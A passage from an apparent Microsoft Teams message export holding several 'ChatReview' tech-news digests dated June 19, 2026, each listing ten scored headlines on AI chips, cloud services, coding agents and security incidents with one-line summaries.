Asia](https://news.google.com/rss/articles/CBMihAFBVV95cUxONURodERCMFljMjMta0c1RFBGOUthaTEzQTZSQnNZLW1fUDA3dnRsQXhXdlpMTElweWZwQnl3MmVEcUNmajhLdHR5endwa3NLcW0ydmJOdThNdmEwOXM1TC1NY2pZTngwUVUxYUNQRU5relZIeTBkQlVpN3FZV2o2SFJvbTA?oc=5)** \u2014 **Score: 31/35.** AI demand is lifting chipmakers across Asia, broadening infrastructure exposure beyond Nvidia and reshaping regional semiconductor supply chains.\\n  2. **[Coherent expands the optical backbone for AI systems in Texas](https://blogs.nvidia.com/blog/coherent-texas-ai-optical/)** \u2014 **Score: 31/35.** Coherent broke ground on a larger Texas facility for lasers and optical components that connect dense AI systems and data-center networks.\\n  3. **[JX Advanced Metals expands optical-wafer capacity for AI data centers](https://news.google.com/rss/articles/CBMivwFBVV95cUxNR3Q0MzVDd1dXVGs4bFI0MGphNGQ2X195TXdzNTYyNG9jbFEwQzFnUklCd2xlQmxwSUFYemlld193Q2pWcW02S3FMV1JHLUQwcUs3dWhkYjFuLS1CVHRzR1R0cTZwUVNTd3QzNHJMY1A3VUdVUDBUd1Rjem9VX2FUNlFTMDVWUXFWaDNvaGJHUFI0cHNBZWNrN1hJUm5obXA5clk2U04xZC1hSE5mcnpPYXkxd0k2VmU4Zmk2d2JrTQ?oc=5)** \u2014 **Score: 31/35.** JX Advanced Metals plans more optical-chip wafer capacity as AI clusters drive demand for high-bandwidth interconnects.\\n  4. **[SK Hynix ships samples of next-generation HBM4E memory](https://news.google.com/rss/articles/CBMiuAFBVV95cUxOOWEzYzZRcVFwWVZqS3JYakY4azZJLVVqenRtSm1mSEs2Rm1zVHNkWUxMS1paWHRmdzFlbVRWZmRwckdRN2JhS2JudnRURTBWWlg2WTFKaUprVnNmb3Fsd0R4bnNCX0F0YzZsTHRTd3pqRnJjV2RNYTZCMDdFNl9NeU9vcTFhS1JTQmFZS2RYbHQtLWlFZjg1TFBkaWVpTFJJUXdrQk9ONFB2dUdhcWVVT2NTTURxdzVY?oc=5)** \u2014 **Score: 30/35.** SK Hynix began shipping HBM4E samples, advancing the high-bandwidth memory supply needed for the next generation of AI accelerators.\\n  5. **[US CHIPS award backs SandboxAQ materials discovery](https://news.google.com/rss/articles/CBMifEFVX3lxTE9NYm5qMGZpTm4zY0J5bU4wYkpvUVJETmZVemllZFpwNi1Wc19ZZ3JEYTB1SlRBUTZpa29mSTFKQzFiUjRYcjJxclN5MlZZZTRVRDh5cFg3NC1kbURFV3AtQ1EzdkRJSjNTcDgtYnAxaDAxMWpmdlhhZGFhYl8?oc=5)** \u2014 **Score: 30/35.** A $500 million CHIPS award will support SandboxAQ\u2019s AI-driven materials work, connecting model-assisted discovery with domestic semiconductor capacity.\\n  6. **[Apple warns device prices will rise with memory costs](https://news.google.com/rss/articles/CBMiWkFVX3lxTFBHMUFiLVBVQVhqRlhQSW5qRFU3aTFTcEt3YXBIaG5vejVBNmlvNVBqc2ZoMHppUEU0Wk1yTllLQl9OSDNTeTZJUlAwU3RHTHpfaWVqUWp4d1dWdw?oc=5)** \u2014 **Score: 29/35.** Tim Cook says Apple device prices will rise as AI demand pushes memory-chip costs higher, showing the AI boom\u2019s spillover into consumer hardware.\\n  7. **[Researchers combine sensing, memory and processing for AI devices](https://news.google.com/rss/articles/CBMi5wJBVV95cUxOV3dLSXhwanhHUjR4UEVfc0tGZnJaMkpXZS04elBiMDhGX19VQ0ViQTJoZWVvNkRaeWRmSTlsa2pMeTVHcDItdWtYaDBMYlJPdWxkTk82TUUxamFzYk1mR21uelNFNk91RjluS3lqeHNkRGpqVlYxTTlxdmtiTnJ6UVpoS2FMUldBS3M3WWZMSDZRRjJDYlFOZzExM1ZBQWlOY1RHNnFtRUxjVVJWbzBVbUdUcHRkSTJxUTFyRWpuT0xGemh4dGxqZk14VldEQWhzeXo1OXQzOTQybk1iS1B0LW50RU9aVjQ4ZXJRdGFFdUdhOUE0UUREOWRMQmVUTjktRDk0Y3U1VDVXenNVOHo2bDRUZnFlc1Z4dTBUenFaMVpyc256a1A2NHEyOGhIRWwyRTBZOXl1QzBubXp1NVpldF9zTllObXdqOUZaTm1KbDBRZGtHTHdOZXlMOWhLc0VVVFBRT0Z4OA?oc=5)** \u2014 **Score: 29/35.** A brain-inspired phototransistor combines light sensing, memory and processing, aiming to reduce data movement and energy use in edge AI sensors.\\n  8. **[AI-assisted process targets next-generation 2D chips](https://news.google.com/rss/articles/CBMiV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNNIBV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNA?oc=5)** \u2014 **Score: 29/35.** Korean researchers developed an AI-assisted process for next-generation 2D chips, targeting more efficient materials and fabrication workflows.\\n  9. **[Nvidia says AI infrastructure will expand manufacturing jobs](https://news.google.com/rss/articles/CBMiqAFBVV95cUxNakpBMVhhLVBxTHFXTjFwZGd5b1JDVjFaLUlqZXJmaW5TbC05N0ZuYUI5YjBoX2hlcGVKYURQOENIU25HOHN2T1lZYkxZdm5uN29kcWFmaGxGRkl1cVpJY1FYdXlMdldXSE9GbHJUVHJDUHRXdmlzNjFrbFkyeHBkQmpFUFQ3eElCVW9RMDhISWxtOGlXV3FlOEstR3VEY25iRjVrT29naTjSAa4BQVVfeXFMTXZOSjM2X0VTUVJocmRJWFpFMFZCSjMySFBjZjF3cTFaRTRkSW41cGlJbk90djV5ZFl6Ui1xWXpFOHBCOEIwRWNYQWhTMkJxMGowWElpZkQwZF9VdTVHN3ZxV1d4YkpwWU44b2FuLUxpVlZyejZ3SC1tS2tnZXJUTEEzZko4TEs5cWZwTlpEQWp4d2VhTVowOHZVZTJ6OEZuVTY5SnJhMFQ5TjhyUEt3?oc=5)** \u2014 **Score: 29/35.** Jensen Huang says AI infrastructure will create manufacturing jobs, with new Texas investments providing an early test of that claim.\\n  10. **[Tencent-backed Enflame moves toward an AI-chip IPO](https://news.google.com/rss/articles/CBMitAFBVV95cUxQR29hd1R5b1k3XzZwN084WkEzTXp6LXRkdGJVaWJIREZ1OGg4QW96alh0V0cxUHZ5dEREOEJQTUhBSTk1X2pHTzFjWFpUN0ZadTZ0NVpLOHUzU0tQRk9NMGlVN3JPMFkwTlZEMVJxX2lhWHJFYTlqWnNWSm5xelh6WjZpeWtUblk0a21EUDJBaDgwWFkzcENvalNEMFpQZUJJbnFqWW9tQ0x2LUFoSDdzWVBRNkI?oc=5)** \u2014 **Score: 29/35.** Enflame is heading toward an IPO as Chinese AI-chip companies seek capital to expand domestic accelerator capacity and reduce foreign dependence.\",\n>       \"created_at\": \"2026-06-19T10:01:35.479Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863294467\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863294467\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 8/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS DevOps Agent adds custom SRE agents and MCP/A2A access](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-custom-agents/)** \u2014 **Score: 33/35.** AWS DevOps Agent now supports custom SRE sub-agents plus headless MCP and A2A access for automating recurring reliability workflows.\\n  2. **[GitHub makes Copilot CLI more selective about delegation](https://github.blog/ai-and-ml/how-we-made-github-copilot-cli-more-selective-about-delegation/)** \u2014 **Score: 32/35.** GitHub changed Copilot CLI orchestration to reduce unnecessary handoffs, aiming for faster task completion without adding user-facing controls.\\n  3. **[Microsoft explains conflicts between coding-agent extensions](https://devblogs.microsoft.com/blog/when-your-agent-extensions-fight-each-other)** \u2014 **Score: 32/35.** Microsoft examines how overlapping agent extensions compete for context and instructions, and how teams can design integrations that cooperate reliably.\\n  4. **[Kimi K2.7-Code targets token-efficient agentic development](https://news.google.com/rss/articles/CBMilAFBVV95cUxOWWJ2UGhCZWVFR2xEc2c4UWxGc3M2bTVKTk4xR0tvQUJwUnJBRmNDR3lEN2lxTVZvakNudjlLOHE5d2hKZXM0OUMtVUZMaW1MSndZbUFSbUVNQVJDSVFQUnFtbzFuRkVYOUFFMmZ6TmdwRjJFN19yQXN5Z2Y0Uk5URi1jU0dsNFRtNDdZV01HbmJnTXVx?oc=5)** \u2014 **Score: 31/35.** Moonshot AI\u2019s Kimi K2.7-Code focuses on token-efficient coding-agent work, adding another option for teams balancing capability, latency and cost.\\n  5. **[Microsoft warns against overloading coding-agent skills](https://devblogs.microsoft.com/blog/stop-overloading-your-skills)** \u2014 **Score: 31/35.** Microsoft argues that oversized agent skills waste tokens and dilute instructions; smaller, task-specific context can improve coding-agent reliability.\\n  6. **[GitHits funds open-source code search for coding agents](https://news.google.com/rss/articles/CBMi2wFBVV95cUxQYmtlYVg2M3FfWUlxV1gtV1p1U3o0dkp5ZmlPOWM3LVl6RU1GdFFKNWMydkxRbkZVS0dscmpLZFRWQm9yYlh0SWdSNy1iUGppM01wMnJZXzJnSzV6WTl2NS1zSnh0WlBMUHNnT0Z1YnBBWTJtYVZuNWF2SFdXNXhSNlVTOWZsV2hZdjM4MkJ5REZyLXZaY3FNU3VnRUdrMGxvQVRQbmZnWjJGYVY2cnVHcFN5alZLZXMxYzI2NEdxMFVEaWJVOEI4VGJHbVpqOS1VbHF2dWFsYmZEWlU?oc=5)** \u2014 **Score: 30/35.** GitHits raised $1.75 million to improve AI coding accuracy through open-source code search, targeting better retrieval and grounding for agents.\\n  7. **[CNCF details dependency lockdown for open-source CI/CD](https://www.cncf.io/blog/2026/06/12/securing-ci-cd-for-an-open-source-project-locking-down-dependencies/)** \u2014 **Score: 30/35.** CNCF\u2019s Cilium team explains how it locks dependencies and reduces supply-chain exposure across a high-volume open-source CI/CD pipeline.\\n  8. **[AWS Glue adds Spark Connect for interactive development](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-interactive-sessions-spark-connect-smus-notebooks)** \u2014 **Score: 29/35.** Glue Interactive Sessions can now use Spark Connect from SageMaker Unified Studio or preferred notebook environments, simplifying remote Spark work.\\n  9. **[EXANTE launches \u20ac1 million fund for critical open source](https://news.google.com/rss/articles/CBMiowFBVV95cUxPQ0JDVE9yd09rejMzUk12UFlRT3FJQU5ZWExiNV9sajNqUTFjTXp1OTJ5cDBhbkYtYVAxbFFQV05BbmZhMHFBM1RsWWxyVEEtZFFTX3QtTTF2WjBRcWFiaENqVXNtT0QxQ20ybVlIQ0RiWC1QM1VGMHZKRndxNjVzMHd5MmRGeFB6NWJXYTFzak9rYTB5enFCQjNBZl9udUluQzhn?oc=5)** \u2014 **Score: 28/35.** EXANTE launched a \u20ac1 million fund for critical open-source infrastructure, adding private financing for maintainers of widely depended-on projects.\\n  10. **[GitHub promotes pull-request limits for maintainer overload](https://github.blog/open-source/maintainers/how-pull-request-limits-are-cutting-down-the-noise/)** \u2014 **Score: 28/35.** GitHub says repository pull-request limits can reduce maintainer noise and contribution overload, with additional controls planned on the roadmap.\",\n>       \"created_at\": \"2026-06-19T10:01:34.467Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863293503\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863293503\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 7/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Transform previews automated FSx for ONTAP migration](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-vmware-fsx-for-ontap-preview)** \u2014 **Score: 32/35.** AWS Transform previews migration of block-storage workloads from on-premises or cloud sources to FSx for ONTAP, broadening automated modernization.\\n  2. **[US Homeland Security awards AWS a $2.6 billion cloud contract](https://news.google.com/rss/articles/CBMilAFBVV95cUxPZUgxZ0hrd05pNGxaLVpRdjdFUWtyWXdzdWtWVzZ1NVZOeFNEY05Wa2R2NnphYnR4NGpCLU9HRnJ0cXYycWQtV1JVLUtGYV8xb0Q4X0tLT2VHaXo5ZnNuOFBsSFZ3T0w3cVBQODg5OTF3STI0MUhNeExXcW41VE5RWXVuT0Z6eVFJTjViWlNVSUtabG9q?oc=5)** \u2014 **Score: 31/35.** The US Department of Homeland Security awarded AWS a $2.6 billion cloud contract, a major public-sector adoption and infrastructure commitment.\\n  3. **[AWS Console Private Access works without internet connectivity](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-management-console-private/)** \u2014 **Score: 30/35.** Enterprises can now reach the AWS Management Console from private VPCs without internet access, strengthening administration for isolated environments.\\n  4. **[AWS extends managed MySQL 5.7 support through June 2029](https://aws.amazon.com/about-aws/whats-new/2026/06/rds-mysql-es-extension/)** \u2014 **Score: 29/35.** Aurora and RDS will support MySQL 5.7 through June 2029, giving teams two additional years to plan upgrades from the aging database release.\\n  5. **[Cloud-native and PyTorch conferences unite in China](https://news.google.com/rss/articles/CBMi1gFBVV95cUxOTUF3UFVYQm1ablY2Ny15RWVqN1MzWmV1LVczX3RnYjFoOUE3aTNsZEpydW05R2kxbGFvTndJSHJkX2ZRbXg4SGN1ZFhRS2hvYVVZRW5fMktSZkFyYnpiN04yWXBPYU5OUW9KLW9yLVNPSEdiRjVXXzgtekVUUE1QSEpIcHd6WXRjTUl4NnZNZTNwYkVETGlQeE1va2ZiM25xM01RNkFBQ1JPWGxlaG1vQmN5a0hhY29LSlNxLVVWZVRXc3MxNTZuczZtdGF2V2NDMU1aRGdB0gHWAUFVX3lxTE5NQXdQVVhCbVpuVjY3LXlFZWo3UzNaZXUtVzNfdGdiMWg5QTdpM2xkSnJ1bTlHaTFsYW9Od0lIcmRfZlFteDhIY3VkWFFLaG9hVVlFbl8yS1JmQXJiemI3TjJZcE9hTk5Rb0otb3ItU09IR2JGNVdfOC16RVRQTVBISkhwd3pZdGNNSXg2dk1lM3BiRURMaVB4TW9rZmIzbnEzTVE2QUFDUk9YbGVobW9CY3lrSGFjb0tKU3EtVVZlVFdzczE1Nm5zNm10YXZXY0MxTVpEZ0E?oc=5)** \u2014 **Score: 29/35.** KubeCon, OpenInfra Summit and the PyTorch Conference will unite in China, linking cloud-native infrastructure more directly with production AI stacks.\\n  6. **[NDAA proposal would codify CISA\u2019s vulnerability-program role](https://news.google.com/rss/articles/CBMixwFBVV95cUxQVGRpRzlwaFhhdnNJcnBtREYtUGR2a3ZYUU13bzZFbEJNcWsyakU1M2d6VUZmMkFITV9IMmVNZ0xPdl9hRzVlcFNGRXJyWktsTWJkQ0Z6RWUxc2xfbHRYelZyOEM4X0tWWmtmd09WVVJ5aGxqTzRQTHdpSnAwMHN4UHR5Z2gyb0plRUo5R2JCeUVMc240eG9PbjRFZU1DMURfVjlEcS1MTU1GWFhIRm9wZzg5UHI2aXFpYWVXU0N5UjQ4dGxLMENr?oc=5)** \u2014 **Score: 28/35.** A proposed NDAA amendment would formalize CISA\u2019s role in a federal vulnerability program, potentially strengthening long-term authority and funding.\\n  7. **[Microsoft faces shareholder suit over AI spending and cloud disclosures](https://news.google.com/rss/articles/CBMiqwFBVV95cUxNUmJQUkh0dTUzZ2dITlpFWVp1ZGp4d0t2T3RYNHZMTVVra042ZVNYTk94R1dKdjM2cU0yWTh5cXNCVlVHTkFXRDFiT3ptRnNPeDUteGR1RDV5eWVoS3M4NFJsNDVpcHlVTVluQWViLUI0a29XR0JOaERIUXZnUTJ2V2VXSWs4MFBzMlFUR2NGNHJRcEFjUWptTU84dEZ2UllET0NWX2hsTDgwRDQ?oc=5)** \u2014 **Score: 28/35.** Microsoft shareholders sued over disclosures around AI spending and cloud performance, highlighting governance pressure on hyperscaler investment.\\n  8. **[Alibaba Cloud expands in France amid sovereignty pressure](https://news.google.com/rss/articles/CBMixwFBVV95cUxNRWt4YVIzc3JfTTVSQkc1c1hUQktrNVpxRk9WbDU5cnlwMVVRanZvdlVTaDhPYkJVXzB4bmVGUDFtVE5XaVA3UUQ3dGR1aTJ6bWNHS2NDMXNlYVJBMWFJekc2czNrX25WM2M5Q0pqZG1rSnViQjkwSk5RdEkyX3BlMThPd3AtSW5Cd3BLYmp3SVJSd1dMU1hBVHpQQzBpb3J4M3ctRXlPWGp1dFlpOEJaOG1QdTU3a1NoOWxZTWdmMnEtNmFHUUNR0gHHAUFVX3lxTE1YUHlGUUZZd3BmLXFfVHpWY2ZKZGNPR3Q5MUZuZ09iTU5IZVpack9lN2Fud2FhRUd5WElYc3lUMjJncjlfN0h5eWxjWDhpMHZMbzJyQzlvRm9JTlBaa252dnUwcExlSUwtTHFCUld1M0Q1N3VZc19xYmlLVk9GaWcxb2h1RThBREpvNEMtdHlXb0g5YnVCLS1iRHRHcThyNjdROV9KSEx3VGw1Y2xZX0kySzBJT0RBdi1YQWlNQzNSLVJ1T0o1SEE?oc=5)** \u2014 **Score: 28/35.** Alibaba Cloud is expanding in France as European buyers scrutinize data residency and sovereignty, intensifying competition for regional cloud workloads.\\n  9. **[AWS opens a Local Zone in Hanoi](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-local-zones-hanoi-vietnam/)** \u2014 **Score: 27/35.** AWS opened a Local Zone in Hanoi to reduce latency for Vietnamese workloads and bring compute and storage closer to local users.\\n  10. **[Researchers turn retired smartphones into a mini cloud](https://news.google.com/rss/articles/CBMivwFBVV95cUxPRnE0ZVFnbXFZbnJZSEhVclNQS0RpMFRVQ181Ym05OUhxREM1NGpMY3B0NVozZzd0SGpnTUdHSzRuajBpTUhyeXZSY3NRN09LbFMtWmxJY1VCUkN4Y21tN2VPMUU0WFRuWl81eV9wd2lMcERQVERacEJfUlRFQ1J1b3kxcDA2YVV4a2pjVG9qTGJ3RUszeGxBOVpMNmVrTmExaEJrRURZaWJkV0dqUHBXeWF3RnhIVTc0ZlVnMlpDMA?oc=5)** \u2014 **Score: 24/35.** Researchers combined discarded smartphones into a small cloud-computing platform, exploring lower-cost, reusable edge infrastructure.\",\n>       \"created_at\": \"2026-06-19T10:01:33.503Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863292556\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863292556\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 6/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Reported Copilot flaw could expose email and 2FA data](https://news.google.com/rss/articles/CBMikgFBVV95cUxNZkR6WGE0R0FBbV9IM2hfZGJxRTJFQ3YzZ19SNVRfRloyTWZ2MzY3QllrRE1Ic1U2TzNGMngxdVRGYUtCd1c2d25QdzFMd21rZWNOMFdkXzAyT0gyR19hQnlST2Nueml5M0xhYlhuNEJaWlVMSmpOazBabFdjb2luTjBtcl9UME9RdkI5OWRFZDMtdw?oc=5)** \u2014 **Score: 34/35.** A reported Copilot flaw could expose sensitive content including email and 2FA codes; teams should review vendor guidance and access boundaries.\\n  2. **[Accenture spends $4.18 billion on industrial cybersecurity expansion](https://news.google.com/rss/articles/CBMimAFBVV95cUxOVHVwZGhCSUFwSGYzZzVxYm42U2tzd3RiWkZzQmVpUktwSXFILWZoSTNyektKRm5KZTlXQmx6ZU5DOW1xMV93emxtZkVPX1VwTFdDM0ZaTGZYT2IybG8zZ2x5dWJzSmhCTjVKbUR0RkViS3VRcmZLUnBaSHVPajdfNTNaOUV5R25aVzhpTWtzX0dmTzBSbXlZWQ?oc=5)** \u2014 **Score: 31/35.** Accenture is spending $4.18 billion on three acquisitions to expand industrial and OT cybersecurity, signaling consolidation around critical-infrastructure defense.\\n  3. **[CISA urges Fortinet hardening after credential exposure reports](https://news.google.com/rss/articles/CBMizgFBVV95cUxPbDFsVnY4dWpHODBDOHRnYm5nVm05OUlNQ2l5UUhzOHN6bjJidUtOQThqSHBBdHZvOVVydFJYeTNjSDcyVzM2SDlIcmw1RVVhQkx3VmVCWnRfVXU4bE1pQVBoMkJtVFNTNXBNMHV2Mkw0UURLM2RFb3dka0VFMmVudU94eFlrdk1oNXF2MlFKZll4OG9pRVRkNEUxTlZfMGpyTW1wTEFCcVRNX3I1MFY3Mmc1RDg0U3B0Zk1hNkkxUjQwc29YOXdnVzNkU245dw?oc=5)** \u2014 **Score: 30/35.** CISA urged organizations to harden Fortinet devices after reports of exposed credentials, putting edge-device access and secret rotation back on the incident list.\\n  4. **[Novo Nordisk breach highlights development-pipeline risk](https://news.google.com/rss/articles/CBMijAFBVV95cUxQRnZnU1VRcnZNMWdxV0p2R2ZUcjdaMDdNSWl4S0J1ZFBuSThIa1B5Sk9Pa1RXLWdsYlZaWTBpWklEbVZXclNzMV9RbHJTWUNubmVpQXI5d0ZkVnpheGFlY2RBMFVuNkp3WnY2LWtvTV9ITHVfYlZkQXBoXzB0elJ4ekppU0swUzh1ZHlsSg?oc=5)** \u2014 **Score: 30/35.** The Novo Nordisk incident shows how a breach can reach software-development pipelines, where code, build secrets and deployment systems amplify risk.\\n  5. **[White House tightens cybersecurity direction for national-security systems](https://news.google.com/rss/articles/CBMiigFBVV95cUxOMHhDeGpmTDNNWTFCUUp6emRJZmhBdWVrMkQyY3BUM0tSeXpsdlZfa2J0VmlHaEVXdFNDRmFic3BJem5VS1lESnpBRnQ4bllHNWxVbFE4RXFvVG9ZTEN3aGNPTkdLdVJBTDkzcVdfMlhxZ0stQmVaRVJZWlRLSlJtX0FZWjZ6UTl4bkHSAY8BQVVfeXFMT0YyZk5NVW9IUV9YZ0xhSGtTQzAtaHdwVG9rb3dhQ01RM255VUVucXRnYnFyMVBYWGRWUlU4eFhUYlRfREVGeXZqb3pLZ0FvNGw0by1hNEFSWlNZeEV5VjdYd0lNd0hjX1FUWXpVdVZld2JMOEt5aUlQY2ZITGs5X242Q2ptbENWcmt5RHV0eU0?oc=5)** \u2014 **Score: 29/35.** A new White House memo sets tighter cybersecurity direction for national security systems, with implications for federal suppliers and sensitive workloads.\\n  6. **[Law enforcement cleans nearly 15,000 SocGholish-infected sites](https://www.bleepingcomputer.com/news/security/law-enforcement-nukes-socgholish-malware-from-nearly-15-000-sites/)** \u2014 **Score: 27/35.** Authorities cleaned nearly 15,000 infected WordPress sites and disrupted 100+ servers tied to SocGholish and the Evil Corp cybercrime group.\\n  7. **[INC ransomware passes 830 reported victims](https://news.google.com/rss/articles/CBMihAFBVV95cUxQSzdpRjZ1ODlhMzZkbXpaOEdYTTBTZUpOTHhpVk8teU94a2dIMzBGRzJRdGlmNFVGX1FOWU5YZnItTHdWYjZPQ3ZXZTVxZWZKZ0treUl4bTdhRGo2bVlOT1ZYQk5BUkppUFhEaG91a3hub2JwdnJKLW1HaE1teE52OUFEXzA?oc=5)** \u2014 **Score: 26/35.** INC ransomware has reportedly accumulated 830+ victims since 2023, reinforcing RaaS scale and the need for tested recovery and lateral-movement controls.\\n  8. **[Gentlemen ransomware maintains multiple EDR-killer tools](https://www.bleepingcomputer.com/news/security/gentlemen-ransomware-uses-multiple-edr-killers-to-disable-defenses/)** \u2014 **Score: 26/35.** Gentlemen ransomware affiliates are using a maintained suite of EDR-killer tools to disable endpoint defenses before encryption and extortion.\\n  9. **[HHS settles ransomware investigation with a health plan](https://news.google.com/rss/articles/CBMijAFBVV95cUxPRUJ6c09KWEJobHh1emVqZlpaZzV0MjFmVjJkMkhwUWN0d2VLbEtVYkxLeUZCakRBVzRyeXNkRFVSdGlHNVcwU2J5QUZ2cG4tUHZQdTVHenNVOUhua3BoN1lQV2JJajctLWFwY3FWdy1TdXNWOTZ6SWRQdWh1WGpDUUR2YnN1UDNyWEwyXw?oc=5)** \u2014 **Score: 26/35.** HHS settled a ransomware investigation with a health plan, another reminder that incident response and HIPAA safeguards carry regulatory consequences.\\n  10. **[USB worm spreads wallet-stealing malware through Windows shortcuts](https://www.bleepingcomputer.com/news/security/usb-worm-spreads-crypto-stealing-malware-via-windows-shortcut-files/)** \u2014 **Score: 25/35.** A self-spreading USB worm uses Windows shortcut files, clipboard theft and Tor-based communications to target cryptocurrency wallets.\",\n>       \"created_at\": \"2026-06-19T10:01:32.556Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863097228\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863097228\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 5/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Glue previews semantic discovery for enterprise data](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-data-catalog/)** \u2014 **Score: 32/35.** AWS Glue Data Catalog is previewing business context and semantic search, helping teams discover data by meaning rather than exact names.\\n  2. **[ASML disputes US claim that its top chip tool reached China](https://techcrunch.com/2026/06/19/the-us-says-asmls-top-chip-tool-may-be-in-china-asml-says-it-isnt/)** \u2014 **Score: 31/35.** US officials say ASML\u2019s most advanced chip tool may be operating in China; ASML disputes it, intensifying export-control scrutiny.\\n  3. **[Z.ai releases open-weight GLM-5.2 for long-horizon work](https://huggingface.co/blog/zai-org/glm-52-blog)** \u2014 **Score: 31/35.** Z.ai released open-weight GLM-5.2 for long-horizon tasks, targeting sustained coding and agent workloads with a model developers can inspect.\\n  4. **[Elastic reportedly agrees to acquire DeductiveAI](https://techcrunch.com/2026/06/18/source-elastic-agrees-to-buy-crv-backed-deductiveai-for-up-to-85m/)** \u2014 **Score: 31/35.** Elastic reportedly agreed to acquire DeductiveAI for up to $85 million, adding AI-driven bug detection and remediation to its platform.\\n  5. **[AWS previews open-source TypeScript backend framework](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-blocks-preview)** \u2014 **Score: 31/35.** AWS Blocks is an open-source TypeScript framework for composing backends locally and deploying them without learning separate infrastructure tooling.\\n  6. **[Dream raises $260 million for sovereign AI and cybersecurity](https://news.google.com/rss/articles/CBMikAFBVV95cUxNZlZZQXZTT3Q2ci1JQXVXTWJBSHM1aDByMFNoR0FIY2EtQUt6WmN6Vlh2T3ZwSHp0QlduZzV3Qll3bzFpRzRNLVV5WWNLR0x1WmpmODNrZmtnZmJpVDBDekl1NFRPcmRIT0gtZ1dTck9USElyRkVCR1A0RUN4QTRmWG9EZU5lSmtoRjNZMEU4eE4?oc=5)** \u2014 **Score: 31/35.** Dream raised $260 million for sovereign AI and cybersecurity products, reflecting strong demand for region-controlled security infrastructure.\\n  7. **[Amazon Quick adds autonomous agents and multi-dataset 